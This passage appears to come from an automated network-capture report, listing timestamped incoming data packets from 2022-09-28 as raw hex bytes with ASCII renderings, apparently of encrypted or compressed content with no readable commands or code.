c2 42 d4 3c f5 7b ed 68 ca 73 27 e6 e2 34 31 d7 40 24 3a 57 d9 5d 22 40 29 89 54 e6 a3 5c 04 57 e1 cc 1f 26 8f ff 25 ef 
38 3d 36 47 da 0f 3c da f9 a1 28 19 1e de 1c 92 56 06 17 f6 5f 96 3e ea 87 b0 79 83 88 b8 6c b7 ac fc cc be bc e7 4f 3f 0a 
6c ed 41 8f 41 79 1e 38 b5 2d 1f 64 08 3b 92 2f 28 
Data Ascii: 9}~z5BKhQ7G"Gd#+O,;;/?^}f2<)\-ld+PS-wGyqN-<c1=k5uX{1Ugn)KB<{hs'41@$:W]"@)T\W&%8=6G<(V_>y
lO?lAAy8-d;/(

2022-09-28 05:32:41 UTC 17 IN Data Raw: 69 df f0 f3 57 1b f7 cf 9c 18 be 7e 56 74 ba ff 54 96 9b c8 9e fa c5 4f 7d 70 04 b7 12 75 27 60 9f d0 c7 50 d2 ff 
d5 58 fb f8 b2 51 27 e6 e3 45 24 d7 49 15 22 5e 88 7b 5c 79 32 b9 53 ee f4 e5 04 57 d7 da 30 1a 8c 00 2e c4 e0 29 30 89 
f0 26 fb d7 5a 49 36 31 e5 d7 0b 0e 0a a4 17 f6 4e 0c 24 ec a1 9f 01 bf a3 5f 64 b4 cc f5 e4 16 3c d1 45 13 12 7c cc 60 
38 56 2a 17 12 b6 0f 2e 98 20 cc 92 3d 27 c2 c4 44 01 b6 eb df 57 69 e2 8b ec 7b 14 b5 41 3a 48 76 2d dd 59 6a c8 09 f4 
2c fe 5a 9a b9 9a 87 94 50 89 df 68 5e 86 f3 7d e2 9a 95 c3 9e ff 67 54 b2 56 ff 42 dc 67 66 67 dc cc e1 64 50 85 f3 aa c6 
81 39 86 c2 2e 87 d6 6a f4 84 ef 54 37 b2 1c e7 56 b2 11 56 2e 77 fd c5 c3 2f 4d 0f a0 74 6b 67 49 16 60 78 ed 0b 59 b6 
1f 65 c7 6a 30 d3 29 75 c3 aa 32 7d 53 52 a5 c0 
Data Ascii: iW~VtTO}pu'`PXQ'E$I"^{\y2SW0.)0&ZI61N$_d<E|`8V*. ='DWi{A:Hv-Yj,ZPh^}gTVBgfgdP9.jT7VV.w/M
tkgI`xYej0)u2}SR

Timestamp
kBytes
transferred

Direction Data
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2022-09-28 05:32:41 UTC 17 IN Data Raw: 5b 75 59 a3 f0 f2 87 65 23 48 82 3c 25 dc c3 c9 3e f4 b2 d7 c1 bc 5f c9 a7 34 7b f7 2a 1e 43 df 1b 50 c4 60 e1 
19 30 08 ac 87 0b 39 fe 2f 41 f9 97 88 d2 b5 f9 38 9b 26 05 32 a2 11 d5 7d af 15 54 8a 37 29 ce e0 b7 22 05 75 4d ae 26 
88 0d 78 69 72 c3 47 42 4e 93 ff 9b d7 29 4c ba 57 1c af a0 ca 5f 46 a7 46 25 45 f9 57 87 82 85 90 a8 a9 68 9c 15 a7 f5 
9c 83 75 88 39 a8 21 34 40 23 31 d8 c7 9c 6c aa 29 f9 09 39 cc a1 7a 26 dd c2 54 6b 8d bd 7a 2a b2 fe aa 60 1b 94 59 
44 66 ff 3d 0d d5 1c f1 8d 75 9a 3a 11 7c f7 62 a9 ce 4b 82 61 c3 21 f3 10 99 a7 a1 d2 dc 01 e9 09 f6 be 46 4e 4e 6c 71 
34 84 ff e8 1d 29 0b f3 00 1e 82 6f 3d e3 1e f9 45 69 aa f4 a5 48 24 9d 93 f7 2d b4 ac 81 97 19 be 06 c6 11 ce 35 04 62 f0 
8b 87 a4 f1 b2 a6 47 c8 16 f4 ba b9 e0 4b 14 61 ab 10 
Data Ascii: [uYe#H<%>_4{*CP`09/A8&2}T7)"uM&xirGBN)LW_FF%EWhu9!4@#1l)9z&Tkz*`YDf=u:|bKa!FNNlq4)o=EiH$-
5bGKa

2022-09-28 05:32:41 UTC 19 IN Data Raw: 2c 45 04 9f 51 44 9f b3 a6 b7 29 89 d5 71 5d 9f e1 75 af b9 45 d7 a0 fe 66 5e 6a 4c 46 69 17 6a 65 d4 f9 e4 a7 
ba 50 88 ca d0 d6 95 19 c4 e7 fe bc fe ad a9 84 c9 3a 83 b2 1d fa 4e d0 11 3a 24 a9 f7 f1 ef 29 55 1e a4 74 6b 69 b5 d0 
6e ae d9 22 ba b6 1f 63 ef d6 30 95 79 68 ce e7 14 7a 7a fe a5 d4 41 0e 5b a8 16 e1 c0 95 77 49 0e c9 ac 9c 1c 68 bc 04 
ea e6 ef 99 39 f1 85 96 ff fc ae 8a 92 31 a0 53 eb 1b e2 36 33 fa 31 11 8b fc b5 9a bb 91 53 3d d7 58 4f 83 e1 0c fb 05 84 
49 14 a5 a4 13 26 c4 7c 3b 07 1b c3 22 8a 83 a8 30 a4 17 1d 40 f5 9b 29 7c 20 ea cc 7e bf d1 c9 63 eb b3 af 17 fb 3b da 
b5 b3 31 54 e5 f5 36 62 37 65 83 44 6e af e9 eb d4 38 28 c9 20 27 54 db 1e 2f 44 5f 61 34 d3 8c a5 c1 aa 75 33 6c 91 b7 
dd 50 89 b7 06 29 a2 4d 69 60 36 36 3f f7 f3 8e 39 
Data Ascii: ,EQD)q]uEf^jLFijeP:N:$)Utkin"c0yhzzA[wIh91S631S=XOI&|;"0@)| ~c;1T6b7eDn8( 'T/D_a4u3lP)Mi`66?9

2022-09-28 05:32:41 UTC 20 IN Data Raw: 41 aa f6 d6 c9 c2 d7 86 81 b0 86 31 d6 56 33 f5 1b c3 99 9f 1a 0a 05 3e 58 2e 34 3d f9 a0 b2 33 ce 30 70 a5 
39 1f ae 3d 2d 9f 1e ea a5 25 d2 2e 2a fb 9d 90 60 fd 14 b6 6e da eb 38 c1 80 ea bb 43 f0 1a 73 62 63 b9 a9 26 fd b1 3c 
42 db 91 24 67 33 97 6a f3 0b 05 33 08 c5 8b 33 8e b1 5e 54 cd f4 2c 88 b3 3d 84 d7 c8 41 cf 58 aa b1 3a 1e 0a 6b be 0d 
ce 77 0a 67 ac 72 fb f8 99 47 0f 49 e3 45 09 ff 6b 24 22 7c d3 56 56 5e 2e 9f ca 9a 20 e5 04 56 c1 d1 1b ff bf c6 2a c4 a4 
30 1d 9e e8 24 db c3 07 e7 28 19 1e d5 2b 99 04 dc 09 de bb 16 09 ec af 5d 07 b4 82 90 c0 9f cc f7 d2 95 35 f7 49 17 04 
75 e4 c5 e6 71 2a 26 ca 83 01 6b 8e 08 31 88 10 35 cc 3b 64 9b 9a 30 1f 48 9b c9 65 e2 41 a1 9d b8 3c 60 1d 05 27 53 
b4 c1 2a 67 ca d4 41 62 98 af af d8 50 89 d5 7b 73 be f7 
Data Ascii: A1V3>X.4=30p9=-%.*`n8Csbc&<B$g3j33^T,=AX:kwgrGIEk$"|VV^. V*0$(+]5Iuq*&k15;d0HeA<`'S*gAbP{s

2022-09-28 05:32:41 UTC 21 IN Data Raw: 5d 83 11 d6 47 89 39 0f c7 37 29 ca cd a0 5c 30 68 5b 86 14 8c 2c 94 47 b5 f0 6c 9b 65 94 79 fe 3e 29 48 9b 
7f b7 e2 a0 cc 41 72 8f 63 29 bd f9 b9 8a 52 a2 b4 8d 81 37 ac 16 ad 4a b1 9b 53 b0 19 8f 16 97 37 0a ce de df b7 08 38 
2f d1 48 10 ad a7 15 aa 02 c1 59 46 43 e1 51 2c 9e 4f 2c 73 1a 82 5f 6c 2f fe 3d 0b ff 27 f0 a9 35 9c 12 5a 7e c7 6e c6 69 
4a 82 67 c5 09 b8 11 b9 7c e9 86 c3 29 10 0f de f4 44 58 5d 2e f0 13 80 e3 db 7c 27 2d dd 81 4f a9 66 1f 7d ac ed 54 6e 
96 f9 3a 93 0f 72 99 f0 30 a4 8a 33 da 18 be 4d d4 13 f7 b5 3e 62 fa a3 b1 06 f7 be 8d dd ff 3d 1e b7 de d1 b4 14 6b b9 15 
e3 00 30 1e 12 b8 2a 7f 6f 79 eb 5a 82 18 9e 1e 7f 7c 80 44 fe 1a de b8 d2 c2 46 0f ef f6 76 d4 8b 0c 84 e2 a1 1e 18 81 2e 
22 df 23 cf c0 b2 2d 86 a7 0d 2c e7 56 32 fe cc 
Data Ascii: ]G97)\0h[,Gley>)HArc)R7JS78/HYFCQ,O,s_l/='5Z~niJg|)DX].|'-Of}Tn:r03M>b=k0*oyZ|DFv."#-,V2

2022-09-28 05:32:41 UTC 23 IN Data Raw: 06 cc 6e b1 d9 3a 2e 77 ae f8 c3 3e 5e 1e 54 75 6b 65 12 cb 44 a8 f7 3e 8b bf 39 60 d6 6e 30 d3 23 43 ed ab 
3f 8f 79 eb b3 d8 59 e5 53 a8 1c e0 d9 b8 5d 74 37 db ae 7c 95 69 bc 47 91 ea fe b1 ab 53 8c 87 d1 96 fa 09 92 37 db 26 
da 1b e6 be 53 ea 30 10 23 dd 68 2c bb 9b 73 68 e5 55 64 53 cf b0 e9 07 ed ed 0c db 93 68 2a c0 54 35 2e ab c9 0a 53 
5d f6 3c d8 49 94 41 f1 b5 43 71 20 e0 b6 03 8d d1 c3 1b 1a f8 8a 3b a0 54 37 bf ab 16 6f ee c6 24 43 99 04 ab bb 6a d1 
de e9 bb b5 46 da 27 5c 52 05 39 21 47 e8 44 1c 95 80 a3 e6 bc 73 28 41 bd 4a a0 7d 71 1d 2e d6 a4 66 67 4e 85 3e 17 
42 db ef 3f fc 27 f3 11 a8 a9 30 a5 1c d3 df 9e 18 69 d8 23 31 c4 60 eb 93 33 2b fb 61 64 57 ff 3f 40 e2 a7 8c cf 1f f0 1e 
9b 56 43 32 b3 12 b9 c4 a4 15 77 f1 3a 29 ce e4 aa 0f 04 4e 
Data Ascii: n:.w>^TukeD>9`n0#C?yYS]t7|iGS7&S0#h,shUdSh*T5.S]<IACq ;T7o$CjF'\R9!GDs(AJ}q.fgN>B?'0i#1`3+adW?
@VC2w:)N

2022-09-28 05:32:41 UTC 24 IN Data Raw: b3 f9 30 af e2 ea ba 5a ed b8 ad 20 71 bd 57 79 f3 b1 2d 27 ca f2 24 63 3b 6b ed 55 9a 1b 1b f3 bb b4 35 a6 
5c 72 5e b9 e3 84 88 b7 58 a7 fb c3 6d 17 7c 2c fd 3a 14 2d 48 f4 0e c4 56 27 19 ad 0f fb f2 b7 61 64 c0 33 5b 2b 28 40 
25 24 6d e6 41 5d 78 23 9a 56 f8 98 e0 2f 77 fa dc 21 0e 3e fa 26 ec e0 31 1d 94 08 28 f3 9e 79 99 22 31 7b d7 0b 02 fc 
0c 06 f3 53 4e 1a ef 96 b1 16 b2 06 0f 5a 47 b2 80 cc b8 38 c6 67 04 0f 74 ee 11 36 73 08 41 3f a6 23 2a a6 69 3b 92 37 
f3 ea 14 d7 01 bc e6 29 f5 64 c9 63 9a 16 15 9d bc 1a c0 6f 05 27 71 e5 c2 21 4a 0a 80 2f 44 99 bb 8f 11 73 59 cb 53 a5 
97 f7 5b f9 50 45 dd bc 20 ef 47 b4 7e 63 cd dc 61 48 20 f6 cd ab ba 50 82 d9 fa c7 9c 02 86 e8 68 a2 d6 53 ab 84 cf 12 
47 c2 1d f2 66 b1 11 3a 2e 77 79 f8 d0 b8 5c 7d 9b 74 6b 
Data Ascii: 0Z qWy-'$c;kU5\r^Xm|,:-HV'ad3[+(@%$mA]x#V/w!>&1(y"1{SNZG8gt6sA?#*i;7)dco'q!J/DsYS[PE G~caH 
PhSGf:.wy\}tk

2022-09-28 05:32:41 UTC 25 IN Data Raw: 3d f5 5f 9c f8 f0 b7 39 ac 18 90 29 22 37 f5 9b be 20 f7 aa d1 4e 3c e4 7f 15 a0 da e9 64 62 a5 8e fe 2a b4 95 
0a b8 1b 92 59 47 07 f1 3d 70 3f 62 f0 89 5b 46 12 5b 7b dc 7e c9 4e 31 07 67 c5 0d 90 ca 99 a1 c8 7d d1 0e ef 74 5b f2 
47 4a 60 df e2 35 82 d3 c0 51 28 18 c5 2f 4f 82 6c 37 c8 f2 ed 52 55 b2 c4 4c cc 6c 9d 99 ea 71 e8 8a a9 db 00 93 15 f2 
11 f1 51 70 c9 fa a7 89 92 da b2 ab a4 c3 15 c3 b3 b1 89 9e 1f 4a 48 32 cb d4 1b 6d 2e 96 d1 27 6d 51 b4 05 82 12 99 30 
62 c0 ff 77 eb 1a df cd b7 c5 6d 0d fc f0 b4 d9 ca 1d 65 83 0a 1e 1c 82 59 83 f6 05 cb da 47 d9 ca a7 0b 42 a7 1b 32 f8 13 
cb bc 27 35 20 36 a5 2c 83 1c 85 f8 aa b1 ea ca 1e 14 7b 39 15 80 76 20 b4 d9 3f 8e d9 dd 09 cf eb 9d 83 50 fb 14 ed e7 
53 eb 54 87 80 fb b8 46 5a 67 3b 2e 63 b8 d8 27 fd 
Data Ascii: =_9)"7 N<db*YG=p?b[F[{~N1g}t[GJ`5Q(/Ol7RULlqQpJH2m.'mQ0bwmeYGB2'5 6,{9v ?PSTFZg;.c'

2022-09-28 05:32:41 UTC 26 IN Data Raw: 6d a3 59 89 34 91 fb ae f1 8f 98 c2 ff 6c 18 f1 e3 cf 67 db 1b e8 3a 0a ef 2e 72 53 bb 0a 9b bb 91 7d 52 e0 8a 
20 cd c8 9d f1 0d 93 61 12 cb f6 c1 49 8a 55 31 0c 13 d8 0c 4b e0 7a 55 90 27 1d 4a f9 a2 3d af 4f aa b3 6c b4 d9 d2 1b 
db ab cc c1 83 1e 36 b5 b9 33 21 83 e7 10 6e 5a 1d 95 2e 79 d9 ce f8 dd 17 76 cb 29 2f 4f 0c 56 69 6e b4 4e 72 c7 9f ad 
da ba 49 23 55 82 f5 ff 66 51 b8 26 c7 aa 52 63 2c e3 25 37 f9 ca e6 2f bb 0b f2 11 a8 66 3f b0 6c 6e d6 8f 17 52 de 00 f8 
d5 68 fa cf 2f 61 df 72 29 00 f7 2e 49 e6 81 ec ae a6 f8 0f 93 13 4b 2d bc 72 8e 5e ad 04 79 80 31 08 ed c7 38 ef ed 73 bf 
f7 5d a4 53 c1 4d a2 d9 69 d2 b7 93 f9 b5 38 3a 46 6e 77 d8 a4 88 46 45 6b a8 bc 1e 69 f8 b3 a1 a8 3d a4 a8 a9 7b ac 16 
a7 21 9c 83 75 b8 39 a8 30 c7 29 22 31 d1 df b1 
Data Ascii: mY4lg:.rS}R aIU1KzU'J=Ol63!nZ.yv)/OVinNrI#UfQ&Rc,%7/f?lnRh/ar).IK-r^y18s]SMi8:FnwFEki={!u90)"1

2022-09-28 05:32:41 UTC 28 IN Data Raw: 93 de df 5c f9 1b fb 34 fb f2 b9 69 c0 e6 e3 43 d3 c9 40 25 20 52 88 7b 5c 72 01 6e 50 ee 8d 35 1e 57 eb d8 18 
4d a4 f6 24 ec 0d 30 1d 98 fe ca db d2 7f b1 d8 19 1a d1 23 e7 22 0c 11 de aa 16 09 ec af 44 07 b4 8e 92 6b af c6 fd d3 
b8 3c d1 4f 3f 0e 74 e6 d1 2d 7b 34 2b 17 e7 29 27 84 0a 20 8e 10 21 cc 2a 2e 29 45 e0 01 66 4e ef 4e 0e 4f 3e 6f b8 29 
78 7b 05 1c 58 6a c2 4b 4c 2c ef 78 7b 98 bf a5 08 71 89 d5 79 72 d1 f7 5d db d6 05 dc b6 0a 49 53 94 8e cc 6e dc 0b 64 
2e 39 cc eb bc 7d 85 f9 24 40 bd 39 ec e8 34 2f 9a 52 a9 85 d4 28 bd b2 1d fc 40 b7 08 1a e4 46 f7 74 a5 4a 3a 14 bb 12 
0e 05 0c a3 22 36 f5 34 86 4c 14 b2 8e a4 56 b6 45 0d 8b c7 72 1f e5 fa bd e0 67 b7 66 9b 7a 84 a6 f3 12 34 5b ab c9 8d 
1a 7e 9c 72 cb 6e 4b d7 ca 97 e3 f5 b6 9f 15 6d f7 57 
Data Ascii: \4iC@% R{\rnP5WM$0#"Dk<O?t-{4+)' !*.)EfNNO>o)x{XjKL,x{qyr]ISnd.9}$@94/R(@FtJ:"64LVErgfz4[~rnKmW

2022-09-28 05:32:41 UTC 29 IN Data Raw: 75 ec 4a 4c a7 70 9d 03 bc 00 9f 84 d9 0e ce 07 7e 93 cf f6 50 17 6d 10 e6 23 b6 ee c6 58 1a e9 de 3d 4b af 
49 20 90 a6 ef 51 61 a7 8a 28 be 25 9d 08 77 06 a9 b5 d2 25 e7 41 2a d4 08 d6 cd 04 a0 ff a7 88 e1 f7 be 9c dd 9c 3d 1e 
b7 94 97 99 1c 47 89 b1 e0 26 11 55 1a 80 f0 46 98 2f ed 5a 82 16 8a 5d 78 5b 86 39 f1 37 d8 9a f9 e9 7e 27 e6 d7 ae 07 
ce 14 d2 f1 87 c3 95 86 41 ae cd 03 e2 35 a3 fa 87 a7 0f 79 b0 54 32 f8 3a 1e 91 3d 19 38 02 5d 7e 00 23 84 f9 aa a5 c0 
9e 3e 42 f8 39 15 82 7c af 0d 0c 34 c5 13 fc 72 0d e3 ef 91 60 fd 64 d9 b3 52 eb 3e 9b ad a2 9c 47 dd 33 34 08 72 bc bf 
1c ae b0 2d 36 bf bc 1b 45 4f ea fb d5 df 3b 5d ee c5 8b 24 a3 38 3f 48 ea ed a2 99 b6 20 c7 e9 c6 76 cf 61 01 de 75 15 
27 6a 86 09 d5 5b d5 32 f8 52 f7 d9 2f 4c 0c 44 63 18 03 
Data Ascii: uJLp~Pm#X=KI Qa(%w%A*=G&UF/Z]x[97~'A5yT2:=8]~#>B9|4r`dR>G34r-6EO;]$8?H vau'j[2R/LDc
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2022-09-28 05:32:41 UTC 30 IN Data Raw: 4d e1 c8 29 c7 37 00 cd d3 b3 38 7c 33 fc a3 74 a4 c0 df 35 3a b3 af 15 fd 41 1b 82 a2 20 6e b2 6e 08 64 7a 
34 92 59 e7 f2 d8 eb d5 2f 59 cc 32 38 75 15 28 3b 7e ab 55 00 8e 93 34 56 a3 47 3c 12 85 88 b6 6a 48 b4 1c 3c b3 53 
1c 1d 83 36 35 fb f0 fd 11 93 47 f3 1b b3 6b 20 b6 28 f3 b6 f1 49 42 d9 39 3b d5 7b f4 b8 22 18 9e 3e 79 0a 9d 67 52 e2 
86 93 ef 2f 68 06 9b 2c 61 30 b3 03 8e 6d dd 5f 7f 8a 56 38 d5 c0 ba 27 07 68 04 e3 2f 8c 3f b6 3f bb dd 6f cd 66 cb f8 b3 
34 23 5d a7 52 89 a9 88 95 44 6b a8 6a 71 3a d2 b3 a5 ab 7a ff a5 a8 7b aa 68 fe 50 9c 87 1a bd 38 a8 36 67 94 22 31 
de ec ad 5e d6 2f d1 4a 57 ca a6 15 a6 c8 42 08 6d a5 f1 6f 0f 34 cf 22 61 1f 12 04 6c 2f fa 3b 18 9a bc f8 9c 52 b4 98 5b 
7d fd b8 d7 6e 60 82 67 84 3d b8 11 99 a1 ce 56 3f 00 ef 
Data Ascii: M)78|3t5:A nndz4Y/Y28u(;~U4VG<jH<S65Gk (IB9;{">ygR/h,a0m_V8'h/??of4#]RDkjq:z{hP86g"1^/JW
Bmo4"al/;R[}n`g=V?

2022-09-28 05:32:41 UTC 32 IN Data Raw: 22 22 0c 17 e5 74 12 09 73 87 b4 07 c7 88 b8 79 9d b7 98 cc b8 38 c4 62 28 28 72 6a a6 25 7b 33 2b 38 b1 
4a 30 a3 07 1d 91 3a 3a b3 63 49 2a b5 ea 2a 87 6f e2 8e e8 42 fa 9b b1 b5 6f 7c 05 25 22 0d c2 21 48 3f fa 56 4d 16 98 
af d8 52 f2 bd 7b 5a 93 e3 a3 d0 aa 40 cc b2 03 49 50 a5 7b 67 7e da 68 c1 21 dc cc e9 be 2d ea d9 d4 c3 80 3c aa e8 28 
ab 59 75 a9 84 cd 11 4a d5 1d fc 62 b3 34 41 48 77 fd fc d4 77 21 17 dd 74 6f 61 12 a0 44 a8 f7 2b 97 b0 1d 4b e4 c3 30 
d5 09 61 f9 f9 19 73 7c ce 31 d6 4c 43 b1 a8 1c e1 d3 a5 75 52 54 cd ac 13 68 68 bc 50 e5 e6 85 32 af f1 81 87 8a bc 74 
08 92 31 a2 2d da 1b eb 32 1b ea 0f 11 81 d4 57 9a bb 9b 4a 43 e6 58 63 87 c9 9d c8 05 82 64 26 e6 bd 1c 27 c0 52 1a 
30 14 c9 71 d0 83 a8 3e f2 37 1c 40 f7 98 10 72 20 9b 36 6c be 
Data Ascii: ""tsy8b((rj%{3+8J0::cI**oBo|%"!H?VMR{Z@IP{g~h!-<(YuJb4AHww!toaD+K0as|1LCuRThhP2t1-2WJCXc
d&'R0q>7@r 6l

2022-09-28 05:32:41 UTC 33 IN Data Raw: 9e 26 fd c3 f8 e3 fb 62 fa a1 2a 89 ee 9e 5d 89 15 23 36 4c b1 8f b2 b6 67 bb 18 3a 0c cb 60 36 6c d1 6d 6b f3 
b2 41 a2 d5 a2 e2 6a 72 79 3f eb 1c 7c ba e3 e5 9c 26 35 c3 ad 00 c8 0a f9 55 a7 03 3c 79 6b 7e c0 0b 36 c2 dd a6 25 a1 
15 63 32 7c e2 e6 3a 2a 91 3d 15 80 29 20 51 08 f2 af 29 be 90 12 c2 18 3a 07 3f 0a 8c 7c b5 b5 c4 2a 8d f0 d1 22 2d 49 
9b 8f 6b dd 91 9c 37 4d c3 cb 87 80 ec 18 56 df 12 53 a1 49 69 b7 47 02 b1 2d 3a 07 97 3b 6e 11 0e d1 05 c5 33 e4 f7 c5 
8d 97 a0 47 50 74 64 f6 54 96 9b c8 9e fa c5 c5 cf 6f 0b 91 96 3e f7 7e bd f1 c4 5c ff bb d5 6d eb d2 e5 6b f7 f8 cb ba 03 
d7 46 87 24 65 df 5b 1f 52 f9 97 78 11 8b e5 02 f5 ed c5 22 2b e9 dc fe da c2 cf 1d 9e d0 86 dd cd 6a b9 5f 33 ca c9 23 f7 
22 0c 11 54 42 09 1d ca e6 9e d7 aa a0 47 68 9f 
Data Ascii: &b*]#6Lg:`6lmkAjry?|&5U<yk~6%c2|:*=) Q):?|*"-Ik7MVSIiG-:;n3GPtdTo>~\mkF$e[Rx"+j_3#"TBGh

2022-09-28 05:32:41 UTC 33 IN Data Raw: 4a 03 f7 35 a9 bb c0 56 28 0b f5 2c 54 99 68 37 a6 ac ed 52 66 b0 d2 c7 b7 5f f3 99 eb 04 b5 a7 a0 fc 1e 96 89 
d4 13 ec e0 07 68 d1 52 8a f4 99 be 8d a7 c6 52 92 b3 b1 85 98 3b 63 da 56 e0 26 1f 7d 71 1e d1 6d 67 55 9c 08 82 12 
82 5d 27 5a 86 35 c7 18 00 93 fd be 03 0c e5 d9 86 fb e0 58 ff f7 ab 71 92 83 41 a4 00 38 cb b9 b3 a0 87 a3 08 47 fe 04 
32 f8 18 ba 1e 3d 13 28 f1 38 5e 00 96 85 f9 aa 64 c7 ad 7c 3d b5 39 15 84 5c 38 9f 45 52 a5 08 d1 22 2b eb 86 a0 63 fd 
27 b6 e7 53 c8 34 87 91 e8 c1 3e c0 1e 77 38 4f b0 8f 68 d5 38 2d 3c af ba 27 68 1a 42 f9 ae b5 1b 1b f3 c6 e4 b9 a6 58 
54 4a ea df a2 56 b9 3d b5 01 c4 4f 43 70 04 bb e6 12 0d 60 94 1e c4 5c fb 19 c6 72 ee d8 b3 46 27 e6 e3 45 18 e7 45 25 
a6 7a ce 7b 78 78 29 98 52 95 e5 e5 04 53 f2 f7 39 2d ad 
Data Ascii: J5V(,Th7Rf_hRR;cV&}qmgU]'Z5XqA8G2=(8^d|=9\8ER"+c'S4>w8Oh8-<'hBXTJV=OCp`\rF'EE%z{xx)RS9-

2022-09-28 05:32:41 UTC 35 IN Data Raw: 41 13 ec 54 24 85 b4 3b 55 c8 e6 10 32 49 1a 92 53 7c c7 df fe cc 11 4a fc 23 3d 47 28 33 03 47 98 45 1c 99 
a6 83 e0 43 7e 00 be 96 84 97 77 59 bc 2e d6 a2 31 6f 48 93 34 17 dc da ef 3f cc 6b fa 37 b0 76 4d 22 34 7d db b4 15 68 
2c 33 31 c4 7b db c1 33 52 82 61 21 6c ff 3f 50 87 e3 88 cf b1 ea 33 91 24 52 38 8a 99 d6 4d af 3e 75 99 3d 02 3d 9e c4 
22 07 6c 59 ed 4e af 2d 9e 33 d1 dd 6f b9 4d fc 8a b2 3e 23 32 c3 7f c9 ab a4 a3 36 6a a2 6a 0a 72 d9 9b c1 a8 7c 9a 84 
a4 05 df 16 a7 54 8a ec 07 b6 39 a2 1b 5b 57 51 31 de db a6 4f fe 2e d1 44 46 bf a7 15 a4 d3 c1 7a be a5 f5 71 45 c0 90 
22 6b 15 96 66 4e 2b fe 3d 1d b4 66 7e 3a 64 c5 0b 76 77 d1 79 eb 44 6c ba 62 c1 09 b8 02 95 8a 3d 45 d8 2a 1c 01 da 
e3 42 d4 27 76 e3 35 8e ec ed 5d 0e 1a f1 43 39 a8 6c 3d e4 
Data Ascii: AT$;U2IS|J#=G(3GEC~wY.1oH4?k7vM"4}h,31{3Ra!l?P3$R8M>u=="lYN-3oM>#26jjr|T9[WQ1O.DFzqE"kfN
+=f~:dvwyDlb=E*B'v5]C9l=

2022-09-28 05:32:41 UTC 36 IN Data Raw: d3 20 4d 0f 74 ee b1 4b 56 20 09 37 28 9e 30 d7 67 42 93 3d 27 94 48 44 01 b8 f7 16 13 e9 c8 65 ee 7a 1c 8c 
b1 32 5f 74 8b 90 4e 33 ad af 4d 2c f4 41 4d f6 c6 af d8 5a f7 a1 7b 5a 93 98 d6 d0 b9 4f d1 c8 74 67 54 b0 68 21 2d 50 
60 4e 0c f7 c8 e3 ac 46 1e a7 a3 c7 91 3d 8e d4 26 2c 61 3d 73 84 cf 18 3c cc 6e fc 66 b5 16 55 5a 76 fd f2 bd 5b 5c 71 
d9 1b e0 62 69 cc 48 d6 87 23 a6 b2 09 09 80 4e 31 d3 29 60 e4 7f 1c 6b 71 d4 2f c0 41 62 fd ae 36 99 8a 9b 36 4e 3e cd 
ae 13 1c 68 aa 41 ea e6 cf b4 af f1 c2 95 d3 f9 7b 08 92 31 a0 2d da 1b f9 02 1c ea de 15 81 d4 3e 9a bb 8a 0b 33 e6 58 
4b 9e e4 8c dd 14 8a 4c 85 db 95 19 37 c8 7c b8 06 1b c3 21 51 90 a0 11 36 58 65 40 f1 b7 3a 6b 22 6e 05 03 64 d1 c3 
17 da 9e 85 35 ee 27 f0 b5 b3 31 53 e5 c0 36 1a 3b 1a 83 40 
Data Ascii:  MtKV 7(0gB='HDez2_tN3M,AMZ{ZOtgTh!-P`NF=&,a=s<nfUZv[\qbiH#N1)`kq/Ab66N>hA{1->3XKL7|!Q6X
e@:k"nd5'1S6;@

2022-09-28 05:32:41 UTC 37 IN Data Raw: ca 65 61 a1 3c 8f ef 1b 7e 14 ed a0 6d 6d 55 db 93 82 12 82 4c 05 5a 86 3b 84 d3 de bc f5 ed cd 0d e5 d7 94 
f2 44 34 ff f7 a0 71 47 83 41 a4 f5 3a b7 b7 dd a0 83 d9 7a 43 d6 52 5d 6c 13 d5 9b 4e b2 23 2f 35 37 73 1c 85 f3 de ca 
ed c2 1c 53 07 38 15 8c 22 5f 9f 14 30 ca ac d0 22 21 ab eb 6c 9f 02 06 b4 99 26 eb 34 83 ef 8f ba 50 ca 63 f6 2e 63 bd 
a1 65 83 c4 2d 3c a1 fe 80 62 31 bd 85 a4 db 1b 1f 98 60 8a 35 ac 86 56 45 cf f4 0e 88 b3 3d 42 fc e9 6e a6 31 18 b1 3a 
16 27 60 95 13 c4 5c f9 de d7 72 fb 16 b7 41 27 ee e3 45 03 d7 40 25 22 61 fe 7f 5c 1a 2b 89 50 91 8b e5 15 54 90 cb 30 
0b a0 f5 55 d4 ea 30 19 ed fb 24 db d4 60 b4 09 3f 19 d0 17 25 3c 2a 31 f4 3a 0a 09 ea 83 ca 1a b4 88 bc 40 c1 cd fd ca 
ae 10 c1 69 36 23 6b cf c2 33 7d fd 70 2a a6 29 23 a5 d5 
Data Ascii: ea<~mmULZ;D4qGA:zCR]lN#/57sS8"_0"!l&4Pc.ce-<b1`5VE=Bn1:'`\rA'E@%"a\+PT0U0$`?%<*1:@i6#k3}p*)#

2022-09-28 05:32:41 UTC 39 IN Data Raw: 21 d9 24 ef 39 d2 50 7f 31 a2 77 37 8f 67 7c df 98 67 63 d9 33 30 b5 40 eb c7 32 29 94 51 23 11 df 3f 41 f9 9c 
88 cf a4 d0 b8 b6 d2 5d 1a 5d 10 d6 4b b3 99 51 8a 37 28 e6 b3 b6 22 01 11 7b 82 3c af 5c b4 4d a2 dc 45 ae 7e 91 f9 a5 
3e 29 4c e7 7f c9 be 80 8b 68 bb bc 48 f0 63 d2 b5 b5 81 2f 91 a8 af 0f a6 16 a7 4b b6 83 75 a4 09 aa 30 67 29 22 31 d5 
df b1 31 ac 47 fc 9e 26 e4 58 15 a0 da d5 de 4d a5 f5 7a 02 e7 90 22 67 62 b2 5f 6c 2e 8f 1d 0b ba 63 da 9e 43 9e 12 7b 
7d f7 64 cd 4e 4a 93 47 c7 24 68 0f b1 5e ce 56 db 17 63 2f de f2 46 66 1b 02 e2 33 fd d9 c0 51 29 7a d5 2c 4f a8 46 24 f8
ae ed 72 44 b0 d2 dd b5 24 8c b9 d6 2d 70 94 81 25 18 be 06 c2 9f c6 cb 04 63 d2 f4 89 8f f1 c7 ad a3 c5 3c 6f 93 b1 8f 
b5 3e 72 91 3a e0 06 1b 7e 1e 98 d1 6d 7c 71 60 74 
Data Ascii: !$9P1w7g|gc30@2)Q#?A]]KQ7("{<\ME~>)LhHc/Ku0g)"11G&XMz"gb_l.cC{}dNJG$h^Vc/Ff3Q)z,OF$rD$-p
%c<o>r:~m|q`t

2022-09-28 05:32:41 UTC 40 IN Data Raw: 64 7a 5a 9d e6 59 d3 af 65 c4 b7 02 67 46 b6 56 86 42 dc 67 58 28 da b2 94 ba 50 88 f3 c0 d0 bc 21 a0 ca 2d 
